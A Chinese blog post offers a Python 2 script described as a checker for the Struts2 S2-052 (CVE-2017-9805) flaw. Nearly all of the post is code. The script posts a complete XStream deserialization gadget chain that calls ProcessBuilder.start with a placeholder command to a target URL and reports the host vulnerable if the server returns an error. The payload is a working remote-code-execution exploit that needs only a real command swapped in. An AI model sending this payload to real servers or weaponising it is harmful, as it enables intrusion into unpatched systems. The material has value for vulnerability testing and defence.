S2-052 CVE-2017-9805 python脚本

最新推荐文章于 2022-12-14 19:45:00 发布

鑫森淼焱垚

最新推荐文章于 2022-12-14 19:45:00 发布

阅读量1.4k

点赞数 1

CC 4.0 BY-SA版权

分类专栏： python 文章标签： struts2.0

本文链接：https://blog.youkuaiyun.com/rongrong0538/article/details/77875687

python 专栏收录该内容

1 篇文章

订阅专栏

本文介绍了一个针对Struts2中S2-052(CVE-2017-9805)漏洞的Python检测脚本。该脚本通过发送恶意构造的数据包来判断目标系统是否受到此远程代码执行漏洞的影响。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

S2-052 CVE-2017-9805 python检查，只对没有处理500的服务有效

#!/usr/bin/env python
#coding=utf-8
# CVE-2017-9805

import requests


def run(params):
    url = params['IP']
    ip = params['PORT']
  
    PoC = '''
<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>xxx</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>
          '''
          
    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Content-Type': 'application/xml',
    'Content-Length': '16630',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1'}
    
    try:
        d = requests.post(url,data=PoC, headers=headers, timeout=3)
        if d.status_code == 500 and not d.content.find('java.security.Provider$Service') == -1:
            return {'result':'1', 'originalResult':d.content}
        else:
            return {'result':'0', 'originalResult':''}
    except Exception,ex:
        return {'result':'0', 'originalResult':'connect error'}
     
if __name__ == "__main__":
    print run({'IP':'http://192.168.15.81:9999/struts2-rest-showcase/orders', 'PORT':'80'})